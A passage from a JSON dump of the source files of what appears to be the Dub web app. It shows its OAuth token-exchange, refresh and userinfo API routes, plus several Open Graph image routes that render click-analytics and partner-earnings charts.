OAUTH_CONFIG.ACCESS_TOKEN_LIFETIME,\n    scope: scopes,\n  };\n};\n"
  },
  {
    "path": "apps/web/app/api/oauth/token/refresh-access-token.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { OAUTH_CONFIG } from \"@/lib/api/oauth/constants\";\nimport { createToken } from \"@/lib/api/oauth/utils\";\nimport { hashToken } from \"@/lib/auth\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { refreshTokenSchema } from \"@/lib/zod/schemas/oauth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextRequest } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// Get new access token using refresh token\nexport const refreshAccessToken = async (\n  req: NextRequest,\n  params: z.infer<typeof refreshTokenSchema>,\n) => {\n  let {\n    refresh_token,\n    client_id: clientId,\n    client_secret: clientSecret,\n  } = params;\n\n  // If no client_id or client_secret is provided in the request body\n  // then it should be provided in the Authorization header as Basic Auth for non-PKCE\n  if (!clientId && !clientSecret) {\n    const authorizationHeader = req.headers.get(\"Authorization\") || \"\";\n    const [type, token] = authorizationHeader.split(\" \");\n\n    if (type === \"Basic\") {\n      const splits = Buffer.from(token, \"base64\").toString(\"utf-8\").split(\":\");\n\n      if (splits.length > 1) {\n        clientId = splits[0];\n        clientSecret = splits[1];\n      }\n    }\n  }\n\n  if (!clientId) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Missing client_id\",\n    });\n  }\n\n  const oAuthApp = await prisma.oAuthApp.findUnique({\n    where: {\n      clientId,\n    },\n    select: {\n      pkce: true,\n      integrationId: true,\n      hashedClientSecret: true,\n    },\n  });\n\n  if (!oAuthApp) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"OAuth app not found for the provided client_id\",\n    });\n  }\n\n  if (!oAuthApp.pkce) {\n    if (!clientSecret) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Missing client_secret\",\n      });\n    }\n\n    if (oAuthApp.hashedClientSecret !== (await hashToken(clientSecret))) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Invalid client_secret\",\n      });\n    }\n  }\n\n  const refreshTokenRecord = await prisma.oAuthRefreshToken.findUnique({\n    where: {\n      hashedRefreshToken: await hashToken(refresh_token),\n    },\n    select: {\n      id: true,\n      accessTokenId: true,\n      installationId: true,\n      expiresAt: true,\n      accessToken: {\n        select: {\n          id: true,\n          scopes: true,\n        },\n      },\n    },\n  });\n\n  if (!refreshTokenRecord) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Refresh token not found.\",\n    });\n  }\n\n  if (refreshTokenRecord.expiresAt < new Date()) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Refresh token expired.\",\n    });\n  }\n\n  const authorizedApp = await prisma.installedIntegration.findUnique({\n    where: {\n      id: refreshTokenRecord.installationId,\n    },\n    select: {\n      id: true,\n      userId: true,\n      projectId: true,\n      integration: {\n        select: {\n          oAuthApp: {\n            select: {\n              clientId: true,\n            },\n          },\n        },\n      },\n      project: {\n        select: {\n          plan: true,\n        },\n      },\n    },\n  });\n\n  if (!authorizedApp) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Integration installation not found.\",\n    });\n  }\n\n  const { accessToken } = refreshTokenRecord;\n  const { integration } = authorizedApp;\n\n  if (integration.oAuthApp?.clientId !== clientId) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Client ID mismatch.\",\n    });\n  }\n\n  const newAccessToken = createToken({\n    length: OAUTH_CONFIG.ACCESS_TOKEN_LENGTH,\n    prefix: OAUTH_CONFIG.ACCESS_TOKEN_PREFIX,\n  });\n\n  const newRefreshToken = createToken({\n    length: OAUTH_CONFIG.REFRESH_TOKEN_LENGTH,\n  });\n\n  const accessTokenExpires = new Date(\n    Date.now() + OAUTH_CONFIG.ACCESS_TOKEN_LIFETIME * 1000,\n  );\n\n  await prisma.$transaction([\n    // Delete the old access token\n    prisma.restrictedToken.delete({\n      where: {\n        id: accessToken.id,\n      },\n    }),\n\n    // Create the access token and refresh token\n    prisma.restrictedToken.create({\n      data: {\n        name: generateRandomName(),\n        hashedKey: await hashToken(newAccessToken),\n        partialKey: `${newAccessToken.slice(0, 3)}...${newAccessToken.slice(-4)}`,\n        scopes: accessToken.scopes,\n        expires: accessTokenExpires,\n        userId: authorizedApp.userId,\n        projectId: authorizedApp.projectId,\n        installationId: authorizedApp.id,\n        refreshTokens: {\n          create: {\n            installationId: authorizedApp.id,\n            hashedRefreshToken: await hashToken(newRefreshToken),\n            expiresAt: new Date(\n              Date.now() + OAUTH_CONFIG.REFRESH_TOKEN_LIFETIME * 1000,\n            ),\n          },\n        },\n      },\n    }),\n  ]);\n\n  // https://www.oauth.com/oauth2-servers/making-authenticated-requests/refreshing-an-access-token/\n  return {\n    access_token: newAccessToken,\n    refresh_token: newRefreshToken,\n    token_type: \"Bearer\",\n    expires_in: OAUTH_CONFIG.ACCESS_TOKEN_LIFETIME,\n  };\n};\n"
  },
  {
    "path": "apps/web/app/api/oauth/token/route.ts",
    "content": "import { COMMON_CORS_HEADERS } from \"@/lib/api/cors\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { tokenGrantSchema } from \"@/lib/zod/schemas/oauth\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport { exchangeAuthCodeForToken } from \"./exchange-code-for-token\";\nimport { refreshAccessToken } from \"./refresh-access-token\";\n\nexport const maxDuration = 30;\n\n// POST /api/oauth/token - Exchange authorization code for access token and refresh access token\nexport async function POST(req: NextRequest) {\n  try {\n    const formData = Object.fromEntries(await req.formData());\n    const validatedData = tokenGrantSchema.parse(formData);\n\n    if (validatedData.grant_type === \"authorization_code\") {\n      const data = await exchangeAuthCodeForToken(req, validatedData);\n      return NextResponse.json(data, {\n        headers: COMMON_CORS_HEADERS,\n      });\n    } else if (validatedData.grant_type === \"refresh_token\") {\n      const data = await refreshAccessToken(req, validatedData);\n      return NextResponse.json(data, {\n        headers: COMMON_CORS_HEADERS,\n      });\n    }\n  } catch (error) {\n    return handleAndReturnErrorResponse(error, COMMON_CORS_HEADERS);\n  }\n}\n\nexport const OPTIONS = () => {\n  return new Response(null, {\n    status: 204,\n    headers: COMMON_CORS_HEADERS,\n  });\n};\n"
  },
  {
    "path": "apps/web/app/api/oauth/userinfo/route.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { prefixWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { getAuthTokenOrThrow, hashToken } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextRequest, NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst CORS_HEADERS = new Headers({\n  \"Access-Control-Allow-Origin\": \"*\",\n  \"Access-Control-Allow-Methods\": \"GET, OPTIONS\",\n  \"Access-Control-Allow-Headers\": \"Content-Type, Authorization\",\n});\n\n// GET /api/oauth/userinfo - get user info by access token\nexport async function GET(req: NextRequest) {\n  try {\n    const accessToken = getAuthTokenOrThrow(req);\n\n    const tokenRecord = await prisma.restrictedToken.findFirst({\n      where: {\n        hashedKey: await hashToken(accessToken),\n        expires: {\n          gte: new Date(),\n        },\n        installationId: {\n          not: null,\n        },\n      },\n      select: {\n        user: {\n          select: {\n            id: true,\n            name: true,\n            image: true,\n          },\n        },\n        project: {\n          select: {\n            id: true,\n            name: true,\n            slug: true,\n            logo: true,\n          },\n        },\n      },\n    });\n\n    if (!tokenRecord) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Access token not found or expired.\",\n      });\n    }\n\n    const { user } = tokenRecord;\n\n    const userInfo = {\n      id: user.id,\n      name: user.name,\n      image: user.image,\n      workspace: {\n        id: prefixWorkspaceId(tokenRecord.project.id),\n        slug: tokenRecord.project.slug,\n        name: tokenRecord.project.name,\n        logo: tokenRecord.project.logo,\n      },\n    };\n\n    return NextResponse.json(userInfo, {\n      headers: CORS_HEADERS,\n    });\n  } catch (e) {\n    return handleAndReturnErrorResponse(e, CORS_HEADERS);\n  }\n}\n\nexport const OPTIONS = () => {\n  return new Response(null, {\n    status: 204,\n    headers: CORS_HEADERS,\n  });\n};\n"
  },
  {
    "path": "apps/web/app/api/og/analytics/route.tsx",
    "content": "import { formatUTCDateTimeClickhouse } from \"@/lib/analytics/utils/format-utc-datetime-clickhouse\";\nimport { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { Folder, Link } from \"@dub/prisma/client\";\nimport { prismaEdge } from \"@dub/prisma/edge\";\nimport {\n  GOOGLE_FAVICON_URL,\n  getApexDomain,\n  linkConstructor,\n  nFormatter,\n} from \"@dub/utils\";\nimport { ImageResponse } from \"next/og\";\nimport { NextRequest } from \"next/server\";\nimport { loadGoogleFont } from \"../load-google-font\";\n\nexport async function GET(req: NextRequest) {\n  // Load Inter Medium font (weight 500)\n  const interMedium = await loadGoogleFont(\"Inter:wght@500\");\n\n  const linkId = req.nextUrl.searchParams.get(\"linkId\");\n  const folderId = req.nextUrl.searchParams.get(\"folderId\");\n\n  if (!linkId && !folderId) {\n    return new Response(\"Missing linkId or folderId\", {\n      status: 400,\n    });\n  }\n\n  let workspaceId: string | null = null;\n  let link: Pick<Link, \"domain\" | \"key\" | \"url\"> | null = null;\n  let folder: Pick<Folder, \"id\" | \"name\"> | null = null;\n  if (linkId) {\n    const data = await prismaEdge.link.findUniqueOrThrow({\n      where: {\n        id: linkId,\n      },\n      include: {\n        dashboard: true,\n      },\n    });\n    if (!data.dashboard) {\n      return new Response(\"Link does not have a public analytics dashboard\", {\n        status: 403,\n      });\n    }\n    workspaceId = data.projectId;\n    link = {\n      domain: data.domain,\n      key: data.key,\n      url: data.url,\n    };\n  } else if (folderId) {\n    const data = await prismaEdge.folder.findUniqueOrThrow({\n      where: {\n        id: folderId,\n      },\n      include: {\n        dashboard: true,\n      },\n    });\n    if (!data.dashboard) {\n      return new Response(\"Folder does not have a public analytics dashboard\", {\n        status: 403,\n      });\n    }\n    workspaceId = data.projectId;\n    folder = {\n      id: data.id,\n      name: data.name,\n    };\n  }\n\n  const { startDate, endDate, granularity } = getStartEndDates({\n    interval: \"30d\",\n  });\n\n  const timeseriesData = await fetch(\n    `https://api.us-east.tinybird.co/v0/pipes/v3_timeseries.json?${new URLSearchParams(\n      {\n        event: \"clicks\",\n        ...(workspaceId ? { workspaceId } : {}),\n        ...(folderId ? { folderId } : {}),\n        ...(linkId ? { linkId } : {}),\n        start: formatUTCDateTimeClickhouse(startDate),\n        end: formatUTCDateTimeClickhouse(endDate),\n        granularity,\n      },\n    )}`,\n    {\n      headers: {\n        Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n      },\n      next: {\n        revalidate: 60, // revalidate every minute\n      },\n    },\n  )\n    .then((res) => res.json())\n    .then((res) => res.data)\n    .catch(() => []);\n\n  const totalClicks = timeseriesData.reduce(\n    (acc, { clicks }) => acc + clicks,\n    0,\n  );\n\n  return new ImageResponse(\n    (\n      <div tw=\"flex flex-col bg-[#f9fafb] w-full h-full p-16\">\n        <div tw=\"flex justify-between items-center mb-4\">\n          <div tw=\"flex items-center\">\n            {folder ? (\n              <>\n                <div tw=\"flex items-center justify-center rounded-md bg-blue-100 border border-blue-200 w-10 h-10\">\n                  <svg\n                    xmlns=\"http://www.w3.org/2000/svg\"\n                    viewBox=\"0 0 24 24\"\n                    fill=\"none\"\n                    stroke=\"#1E40AF\"\n                    strokeWidth=\"2\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    width=\"20\"\n                    height=\"20\"\n                  >\n                    <path d=\"M4 20h16a2 2 0 0 0 2-2V8a2 2 0 0 0-2-2h-7.93a2 2 0 0 1-1.66-.9l-.82-1.2A2 2 0 0 0 7.93 3H4a2 2 0 0 0-2 2v13c0 1.1.9 2 2 2Z\" />\n                  </svg>\n                </div>\n                <h1 tw=\"text-4xl font-bold ml-4 my-0\">{folder.name}</h1>\n              </>\n            ) : (\n              <>\n                <img\n                  tw=\"rounded-full w-10 h-10\"\n                  src={`${GOOGLE_FAVICON_URL}${getApexDomain(link?.url || \"dub.co\")}`}\n                  alt=\"favicon\"\n                />\n                <h1 tw=\"text-4xl font-bold ml-4 my-0\">\n                  {linkConstructor({\n                    domain: link?.domain || \"\",\n                    key: link?.key || \"\",\n                    pretty: true,\n                  })}\n                </h1>\n              </>\n            )}\n          </div>\n\n          <div tw=\"flex items-center rounded-md border border-neutral-200 bg-white shadow-sm h-12 px-6\">\n            <svg\n              xmlns=\"http://www.w3.org/2000/svg\"\n              width=\"20\"\n              height=\"20\"\n              viewBox=\"0 0 24 24\"\n              fill=\"none\"\n              stroke=\"#4B5563\"\n              strokeWidth=\"2\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n            >\n              <path d=\"M8 2v4\" />\n              <path d=\"M16 2v4\" />\n              <rect width=\"18\" height=\"18\" x=\"3\" y=\"4\" rx=\"2\" />\n              <path d=\"M3 10h18\" />\n            </svg>\n            <p tw=\"text-neutral-700 ml-2 mt-4\">Last 30 days</p>\n          </div>\n        </div>\n        <div tw=\"flex flex-col h-full w-full rounded-lg border border-neutral-200 bg-white shadow-lg overflow-hidden\">\n          <div tw=\"flex flex-col px-12 py-4\">\n            <div tw=\"flex items-center\">\n              <h1 tw=\"font-bold text-5xl leading-none\">\n                {nFormatter(totalClicks)}\n              </h1>\n              <svg\n                fill=\"none\"\n                shapeRendering=\"geometricPrecision\"\n                stroke=\"currentColor\"\n                strokeLinecap=\"round\"\n                strokeLinejoin=\"round\"\n                strokeWidth=\"1.5\"\n                viewBox=\"0 0 24 24\"\n                width=\"36\"\n                height=\"36\"\n              >\n                <path d=\"M12 20V10\" />\n                <path d=\"M18 20V4\" />\n                <path d=\"M6 20v-4\" />\n              </svg>\n            </div>\n            <p tw=\"text-lg font-medium uppercase -mt-4 text-neutral-600\">\n              Total Clicks\n            </p>\n          </div>\n\n          <Chart data={timeseriesData} />\n        </div>\n      </div>\n    ),\n    {\n      width: 1200,\n      height: 630,\n      fonts: interMedium\n        ? [\n            {\n              name: \"Inter\",\n              data: interMedium,\n              style: \"normal\",\n              weight: 500,\n            },\n          ]\n        : [],\n    },\n  );\n}\n\nconst Chart = ({ data }) => {\n  // Define SVG size\n  const width = 1100;\n  const height = 370;\n\n  // Find the max clicks value for Y-axis scaling\n  const maxClicks = Math.max(...data.map((d) => d.clicks));\n\n  // Function to convert date to X coordinate\n  const scaleX = (index) => (width / (data.length - 1)) * index;\n\n  // Function to convert clicks to Y coordinate\n  const scaleY = (clicks) => height - (clicks / maxClicks) * height;\n\n  // Extend the points to the bottom to create a closed shape for the fill\n  let points = data\n    .map((d, index) => `${scaleX(index)},${scaleY(d.clicks)}`)\n    .join(\" \");\n  // Close the shape by drawing a line to the bottom right corner and bottom left corner\n  points += ` ${width},${height} 0,${height}`;\n\n  return (\n    <svg\n      viewBox={`0 0 ${width} ${height}`}\n      style={{\n        color: \"#3B82F6\",\n        marginLeft: \"-4px\",\n        marginTop: \"-32px\",\n      }}\n    >\n      <defs>\n        <linearGradient id=\"customGradient\" x1=\"0\" y1=\"0\" x2=\"0\" y2=\"1\">\n          <stop offset=\"0%\" stop-color=\"currentColor\" stop-opacity=\"0.2\" />\n          <stop offset=\"100%\" stop-color=\"currentColor\" stop-opacity=\"0.01\" />\n        </linearGradient>\n      </defs>\n\n      <polyline\n        fill=\"url(#customGradient)\"\n        stroke=\"currentColor\"\n        stroke-width=\"3\"\n        points={points}\n      />\n    </svg>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/api/og/avatar/[[...seed]]/route.tsx",
    "content": "import { getAvatarTheme } from \"@dub/utils\";\nimport { ImageResponse } from \"next/og\";\nimport { NextRequest } from \"next/server\";\n\nexport const runtime = \"edge\";\n\nexport async function GET(\n  req: NextRequest,\n  props: { params: Promise<{ seed?: string[] }> },\n) {\n  const params = await props.params;\n  const origin = req.headers.get(\"origin\");\n  // Validate the origin header and set CORS headers accordingly\n  const corsHeaders = {\n    \"Access-Control-Allow-Methods\": \"GET\",\n    \"Access-Control-Allow-Headers\": \"Content-Type\",\n  };\n\n  if (origin && origin.endsWith(\".dub.co\")) {\n    corsHeaders[\"Access-Control-Allow-Origin\"] = origin;\n  }\n\n  const { searchParams } = new URL(req.url);\n  const seed = params.seed?.[0] ?? searchParams.get(\"seed\");\n  const theme = getAvatarTheme(seed);\n\n  return new ImageResponse(\n    (\n      <div\n        tw=\"flex items-center justify-center w-full h-full relative\"\n        style={{\n          background: theme.bg,\n          display: \"flex\",\n          margin: 0,\n          padding: 0,\n        }}\n      >\n        {/* Head */}\n        <div\n          tw=\"absolute w-[51px] h-[51px] rounded-full\"\n          style={{\n            background: theme.fg,\n            display: \"flex\",\n            top: \"28px\",\n            backgroundImage:\n              \"linear-gradient(135deg, rgba(255,255,255,0) 0%, rgba(0,0,0,0.2) 100%)\",\n            boxShadow:\n              \"inset 6px -5px 11px rgba(0,0,0,0.13), inset -18px -12px 19px rgba(255,255,255,0.4)\",\n          }}\n        />\n        {/* Shoulders */}\n        <div\n          tw=\"absolute w-[102px] h-[102px] rounded-full\"\n          style={{\n            background: theme.fg,\n            display: \"flex\",\n            top: \"90px\",\n            clipPath: \"inset(0 0 50% 0)\",\n            backgroundImage:\n              \"linear-gradient(135deg, rgba(255,255,255,0) 0%, rgba(0,0,0,0.2) 100%)\",\n            boxShadow:\n              \"inset 10px -12px 19px rgba(0,0,0,0.4), inset -18px -12px 19px rgba(255,255,255,0.4), inset 2px -1px 11px rgba(0,0,0,0.1)\",\n          }}\n        />\n      </div>\n    ),\n    {\n      width: 128,\n      height: 128,\n      headers: corsHeaders,\n    },\n  );\n}\n"
  },
  {
    "path": "apps/web/app/api/og/load-google-font.ts",
    "content": "export async function loadGoogleFont(font: string) {\n  const url = `https://fonts.googleapis.com/css2?family=${font}`;\n  const css = await (await fetch(url)).text();\n  const resource = css.match(\n    /src: url\\((.+)\\) format\\('(opentype|truetype)'\\)/,\n  );\n\n  if (resource) {\n    const response = await fetch(resource[1]);\n    if (response.status == 200) {\n      return await response.arrayBuffer();\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/app/api/og/partner-earnings/route.tsx",
    "content": "import { getPartnerEarningsTimeseries } from \"@/lib/api/partner-profile/get-partner-earnings-timeseries\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { getPartnerEarningsTimeseriesSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { currencyFormatter, formatDate } from \"@dub/utils\";\nimport { ImageResponse } from \"next/og\";\nimport * as z from \"zod/v4\";\nimport { loadGoogleFont } from \"../load-google-font\";\n\nconst WIDTH = 1368;\nconst HEIGHT = 994;\n\nconst BACKGROUND_IMAGES = {\n  light: \"https://assets.dub.co/misc/partner-earnings-share-light.jpg\",\n  dark: \"https://assets.dub.co/misc/partner-earnings-share-dark.jpg\",\n};\n\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const { programId, background, ...filters } =\n    getPartnerEarningsTimeseriesSchema\n      .extend({\n        programId: z.string(),\n        background: z.enum([\"light\", \"dark\"]).optional().default(\"light\"),\n      })\n      .parse(searchParams);\n\n  const [interSemibold, timeseries] = await Promise.all([\n    loadGoogleFont(\"Inter:wght@600\"),\n    getPartnerEarningsTimeseries({\n      partnerId: partner.id,\n      programId,\n      filters,\n    }),\n  ]);\n\n  const total = timeseries.reduce((acc, { earnings }) => acc + earnings, 0);\n\n  const startLabel =\n    timeseries.length > 0\n      ? formatDate(new Date(timeseries[0].start), {\n          month: \"short\",\n          year: \"numeric\",\n        })\n      : \"\";\n  const endLabel =\n    timeseries.length > 0\n      ? formatDate(new Date(timeseries[timeseries.length - 1].start), {\n          month: \"short\",\n          year: \"numeric\",\n        })\n      : \"\";\n\n  const logoColor = background === \"dark\" ? \"#ffffff\" : \"#000000\";\n\n  return new ImageResponse(\n    (\n      <div\n        tw=\"flex flex-col w-full h-full items-center justify-center\"\n        style={{ fontFamily: \"Inter Semibold\" }}\n      >\n        <img\n          src={BACKGROUND_IMAGES[background]}\n          tw=\"absolute inset-0\"\n          style={{ width: WIDTH, height: HEIGHT, objectFit: \"cover\" }}\n        />\n\n        <div\n          tw={`flex flex-col rounded-3xl shadow-2xl overflow-hidden ${\n            background === \"dark\" ? \"bg-neutral-900\" : \"bg-white\"\n          }`}\n          style={{\n            width: 1210,\n            marginTop: -10,\n          }}\n        >\n          <div tw=\"flex flex-col p-10\">\n            <span\n              tw={`text-4xl ${\n                background === \"dark\" ? \"text-neutral-100\" : \"text-neutral-800\"\n              }`}\n              style={{ fontFamily: \"Inter Semibold\" }}\n            >\n              Earnings\n            </span>\n\n            <div tw=\"flex items-baseline mt-3\">\n              <span\n                tw={`font-medium text-4xl ${\n                  background === \"dark\"\n                    ? \"text-neutral-200\"\n                    : \"text-neutral-600\"\n                }`}\n                style={{ fontFamily: \"Inter Semibold\" }}\n              >\n                {currencyFormatter(total, { maximumFractionDigits: 2 })}\n              </span>\n            </div>\n\n            <div tw=\"flex mt-6\" style={{ width: 1130, height: 430 }}>\n              <Chart data={timeseries} background={background} />\n            </div>\n\n            <div tw=\"flex justify-between mt-4\">\n              <span\n                tw={`text-2xl ${\n                  background === \"dark\"\n                    ? \"text-neutral-400\"\n                    : \"text-neutral-500\"\n                }`}\n              >\n                {startLabel}\n              </span>\n              <span\n                tw={`text-2xl ${\n                  background === \"dark\"\n                    ? \"text-neutral-400\"\n                    : \"text-neutral-500\"\n                }`}\n              >\n                {endLabel}\n              </span>\n            </div>\n          </div>\n        </div>\n\n        <div tw=\"flex mt-22\">\n          <svg\n            width=\"160\"\n            height=\"73\"\n            viewBox=\"0 0 46 21\"\n            fill=\"none\"\n            xmlns=\"http://www.w3.org/2000/svg\"\n          >\n            <path\n              fillRule=\"evenodd\"\n              clipRule=\"evenodd\"\n              d=\"M11 2H14V13.9332L14.0003 13.9731L14.0003 14C14.0003 14.0223 14.0002 14.0445 14 14.0668V21H11V19.7455C9.86619 20.5362 8.48733 21 7.00016 21C3.13408 21 0 17.866 0 14C0 10.134 3.13408 7 7.00016 7C8.48733 7 9.86619 7.46375 11 8.25452V2ZM7 17.9998C9.20914 17.9998 11 16.209 11 13.9999C11 11.7908 9.20914 10 7 10C4.79086 10 3 11.7908 3 13.9999C3 16.209 4.79086 17.9998 7 17.9998ZM32 2H35V8.25474C36.1339 7.46383 37.5128 7 39.0002 7C42.8662 7 46.0003 10.134 46.0003 14C46.0003 17.866 42.8662 21 39.0002 21C35.1341 21 32 17.866 32 14V2ZM39 17.9998C41.2091 17.9998 43 16.209 43 13.9999C43 11.7908 41.2091 10 39 10C36.7909 10 35 11.7908 35 13.9999C35 16.209 36.7909 17.9998 39 17.9998ZM19 7H16V14C16 14.9192 16.1811 15.8295 16.5329 16.6788C16.8846 17.5281 17.4003 18.2997 18.0503 18.9497C18.7003 19.5997 19.472 20.1154 20.3213 20.4671C21.1706 20.8189 22.0809 21 23.0002 21C23.9194 21 24.8297 20.8189 25.679 20.4671C26.5283 20.1154 27.3 19.5997 27.95 18.9497C28.6 18.2997 29.1157 17.5281 29.4675 16.6788C29.8192 15.8295 30.0003 14.9192 30.0003 14H30V7H27V14C27 15.0608 26.5785 16.0782 25.8284 16.8283C25.0783 17.5784 24.0609 17.9998 23 17.9998C21.9391 17.9998 20.9217 17.5784 20.1716 16.8283C19.4215 16.0782 19 15.0608 19 14V7Z\"\n              fill={logoColor}\n            />\n          </svg>\n        </div>\n      </div>\n    ),\n    {\n      width: WIDTH,\n      height: HEIGHT,\n      fonts: interSemibold\n        ? [\n            {\n              name: \"Inter Semibold\",\n              data: interSemibold,\n              style: \"normal\",\n              weight: 600,\n            },\n          ]\n        : [],\n    },\n  );\n});\n\nfunction Chart({\n  data,\n  background,\n}: {\n  data: { start: string; earnings: number }[];\n  background: \"light\" | \"dark\";\n}) {\n  if (!data || data.length === 0) {\n    return null;\n  }\n\n  const circleRadius = 10;\n  const strokeWidth = 6;\n  const strokeHalfWidth = strokeWidth / 2;\n  const edgePadding = circleRadius + strokeHalfWidth;\n\n  const width = 1400;\n  const height = 600;\n  const padding = {\n    top: 40,\n    right: edgePadding,\n    bottom: edgePadding,\n    left: edgePadding,\n  };\n\n  const chartWidth = width - padding.left - padding.right;\n  const chartHeight = height - padding.top - padding.bottom;\n\n  const maxEarnings = Math.max(...data.map((d) => d.earnings), 1);\n\n  const scaleX = (index: number) =>\n    padding.left + (chartWidth / (data.length - 1)) * index;\n\n  const scaleY = (value: number) =>\n    padding.top + chartHeight - (value / maxEarnings) * chartHeight;\n\n  const isDark = background === \"dark\";\n  const lineColorStart = isDark ? \"#A78BFA\" : \"#7D3AEC\";\n  const lineColorEnd = isDark ? \"#F472B6\" : \"#DA2778\";\n  const circleColor = isDark ? \"#F472B6\" : \"#DA2778\";\n  const areaColorStart = isDark ? \"#F472B6\" : \"#DA2778\";\n  const areaColorEnd = isDark ? \"#DA2778\" : \"#DA2778\";\n  const areaOpacityStart = isDark ? 0.25 : 0.15;\n  const areaOpacityEnd = isDark ? 0.05 : 0.02;\n\n  if (data.length === 1) {\n    const singleX = padding.left + chartWidth / 2;\n    const singleY = scaleY(data[0].earnings);\n    return (\n      <svg\n        viewBox={`0 0 ${width} ${height}`}\n        style={{ width: \"100%\", height: \"100%\" }}\n      >\n        <circle cx={singleX} cy={singleY} r={circleRadius} fill={circleColor} />\n      </svg>\n    );\n  }\n\n  const linePath = data\n    .map((d, index) => {\n      const x = scaleX(index);\n      const y = scaleY(d.earnings);\n      return `${index === 0 ? \"M\" : \"L\"} ${x} ${y}`;\n    })\n    .join(\" \");\n\n  const areaPath = `${linePath} L ${scaleX(data.length - 1)} ${padding.top + chartHeight} L ${padding.left} ${padding.top + chartHeight} Z`;\n\n  const lastX = scaleX(data.length - 1);\n  const lastY = scaleY(data[data.length - 1].earnings);\n\n  return (\n    <svg\n      viewBox={`0 0 ${width} ${height}`}\n      style={{ width: \"100%\", height: \"100%\" }}\n    >\n      <defs>\n        <linearGradient id=\"lineGradient\" x1=\"0\" y1=\"0\" x2=\"1\" y2=\"0\">\n          <stop offset=\"0%\" stopColor={lineColorStart} />\n          <stop offset=\"100%\" stopColor={lineColorEnd} />\n        </linearGradient>\n        <linearGradient id=\"areaGradient\" x1=\"0\" y1=\"0\" x2=\"0\" y2=\"1\">\n          <stop\n            offset=\"0%\"\n            stopColor={areaColorStart}\n            stopOpacity={areaOpacityStart}\n          />\n          <stop\n            offset=\"100%\"\n            stopColor={areaColorEnd}\n            stopOpacity={areaOpacityEnd}\n          />\n        </linearGradient>\n      </defs>\n\n      <path d={areaPath} fill=\"url(#areaGradient)\" />\n\n      <path\n        d={linePath}\n        fill=\"none\"\n        stroke=\"url(#lineGradient)\"\n        strokeWidth={strokeWidth}\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n\n      <circle cx={lastX} cy={lastY} r={circleRadius} fill={circleColor} />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/api/og/partner-rewind/route.tsx",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getPartnerRewind } from \"@/lib/api/partners/get-partner-rewind\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  REWIND_ASSETS_PATH,\n  REWIND_PERCENTILES,\n  REWIND_STEPS,\n} from \"@/ui/partners/rewind/constants\";\nimport { cn, nFormatter } from \"@dub/utils\";\nimport { ImageResponse } from \"next/og\";\nimport * as z from \"zod/v4\";\nimport { loadGoogleFont } from \"../load-google-font\";\n\nconst WIDTH = 1084;\nconst HEIGHT = 994;\n\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const { step: stepRaw } = z\n    .object({\n      step: z.enum(\n        REWIND_STEPS.map((step) => step.id) as [string, ...string[]],\n      ),\n    })\n    .parse(searchParams);\n\n  const step = REWIND_STEPS.find((step) => step.id === stepRaw)!;\n\n  const [interBold, rewind] = await Promise.all([\n    loadGoogleFont(\"Inter:wght@700\"),\n    getPartnerRewind({ partnerId: partner.id }),\n  ]);\n\n  if (!rewind) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Partner rewind not found\",\n    });\n  }\n\n  const percentileLabel = REWIND_PERCENTILES.find(\n    ({ minPercentile }) => rewind[step.percentileId] >= minPercentile,\n  )?.label;\n\n  const value =\n    step.valueType === \"currency\"\n      ? Math.floor(rewind[step.id] / 100)\n      : Math.floor(rewind[step.id]);\n\n  return new ImageResponse(\n    (\n      <div\n        tw=\"flex flex-col bg-neutral-50 w-full h-full items-center justify-between\"\n        style={{ fontFamily: \"Inter\" }}\n      >\n        {/* @ts-ignore */}\n        <svg tw=\"absolute inset-0 text-black/10\" width={WIDTH} height={HEIGHT}>\n          <defs>\n            <pattern\n              id=\"grid\"\n              width={84}\n              height={84}\n              x={-46}\n              y={-4}\n              patternUnits=\"userSpaceOnUse\"\n            >\n              <path\n                d={`M 84 0 L 0 0 0 84`}\n                fill=\"transparent\"\n                stroke=\"currentColor\"\n                strokeWidth={1}\n              />\n            </pattern>\n            <radialGradient id=\"gradient1\" cx=\"1.1\" cy=\"0.1\" r=\"0.5\">\n              <stop offset=\"0%\" stopColor=\"#855AFC\" stopOpacity={0.1} />\n              <stop offset=\"100%\" stopColor=\"#855AFC\" stopOpacity={0} />\n            </radialGradient>\n            <radialGradient id=\"gradient2\" cx=\"-0.1\" cy=\"0.7\" r=\"0.5\">\n              <stop offset=\"0%\" stopColor=\"#FD3A4E\" stopOpacity={0.05} />\n              <stop offset=\"100%\" stopColor=\"#FD3A4E\" stopOpacity={0} />\n        